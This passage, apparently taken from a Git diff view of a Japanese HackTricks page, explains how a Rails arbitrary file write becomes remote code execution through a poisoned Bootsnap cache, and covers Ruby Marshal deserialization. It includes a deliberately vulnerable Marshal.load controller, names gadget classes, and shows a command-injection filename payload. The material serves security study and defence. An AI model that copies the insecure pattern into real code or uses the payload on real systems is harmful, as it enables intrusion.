|
||||
- ファイルメタデータの収集
|
||||
|
||||
攻撃者は、Railsの起動時に読み込まれる可能性のあるターゲットファイル(例えば、Rubyの標準ライブラリからのset.rb)を最初に選択します。コンテナ内でRubyコードを実行することで、重要なメタデータ(RUBY_VERSION、RUBY_REVISION、サイズ、mtime、compile_optionなど)を抽出します。このデータは、有効なキャッシュキーを作成するために不可欠です。
|
||||
攻撃者はまず、Railsの起動時に読み込まれる可能性のあるターゲットファイル(例えば、Rubyの標準ライブラリからのset.rb)を選択します。コンテナ内でRubyコードを実行することで、重要なメタデータ(RUBY_VERSION、RUBY_REVISION、サイズ、mtime、compile_optionなど)を抽出します。このデータは有効なキャッシュキーを作成するために不可欠です。
|
||||
|
||||
- キャッシュファイルパスの計算
|
||||
|
||||
BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所(例えば、tmp/cache/bootsnap/compile-cache-iseqの下)に正確に配置されることが保証されます。
|
||||
BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所(例:tmp/cache/bootsnap/compile-cache-iseq/の下)に正確に配置されることが保証されます。
|
||||
|
||||
- 悪意のあるキャッシュファイルの作成
|
||||
|
||||
攻撃者は、次のようなペイロードを準備します:
|
||||
攻撃者は次のようなペイロードを準備します:
|
||||
|
||||
- 任意のコマンドを実行します(例えば、プロセス情報を表示するためにidを実行)。
|
||||
- 再帰的な悪用を防ぐために、実行後に悪意のあるキャッシュを削除します。
|
||||
- アプリケーションがクラッシュしないように、元のファイル(例えば、set.rb)を読み込みます。
|
||||
- アプリケーションがクラッシュしないように元のファイル(例:set.rb)を読み込みます。
|
||||
|
||||
このペイロードは、バイナリRubyコードにコンパイルされ、慎重に構築されたキャッシュキーのヘッダー(以前に収集したメタデータとBootsnapの正しいバージョン番号を使用)と連結されます。
|
||||
このペイロードはバイナリRubyコードにコンパイルされ、慎重に構築されたキャッシュキーのヘッダー(以前に収集したメタデータとBootsnapの正しいバージョン番号を使用)と連結されます。
|
||||
|
||||
- 上書きと実行のトリガー
|
||||
任意のファイル書き込み脆弱性を使用して、攻撃者は計算された場所に作成したキャッシュファイルを書き込みます。次に、サーバーの再起動をトリガーします(Pumaによって監視されているtmp/restart.txtに書き込むことによって)。再起動中、Railsがターゲットファイルを要求すると、悪意のあるキャッシュファイルが読み込まれ、リモートコード実行(RCE)が発生します。
|
||||
|
||||
### Ruby Marshalの実践における悪用(更新)
|
||||
|
||||
信頼できないバイトが`Marshal.load`/`marshal_load`に到達するパスはすべてRCEシンクとして扱います。Marshalは任意のオブジェクトグラフを再構築し、マテリアライズ中にライブラリ/ジェムのコールバックをトリガーします。
|
||||
|
||||
- 最小限の脆弱なRailsコードパス:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
user_data = params[:data]
|
||||
if user_data.present?
|
||||
deserialized_user = Marshal.load(Base64.decode64(user_data))
|
||||
render plain: "OK: #{deserialized_user.inspect}"
|
||||
else
|
||||
render plain: "No data", status: :bad_request
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
- 実際のチェーンで見られる一般的なガジェットクラス: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- ペイロードに埋め込まれた典型的な副作用マーカー(アンマーシャル中に実行される):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
実際のアプリでの出現場所:
|
||||
- 歴史的に Marshal を使用している Rails キャッシュストアとセッションストア
|
||||
- バックグラウンドジョブバックエンドとファイルバックオブジェクトストア
|
||||
- バイナリオブジェクトブロブのカスタム永続化または輸送
|
||||
|
||||
産業化されたガジェット発見:
|
||||
- コンストラクタ、`hash`、`_load`、`init_with`、またはアンマーシャル中に呼び出される副作用のあるメソッドを grep
|
||||
- CodeQL の Ruby 不安全なデシリアライズクエリを使用してソース → シンクを追跡し、ガジェットを明らかにする
|
||||
- 公開されたマルチフォーマット PoC (JSON/XML/YAML/Marshal) で検証
|
||||
|
||||
## 参考文献
|
||||
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user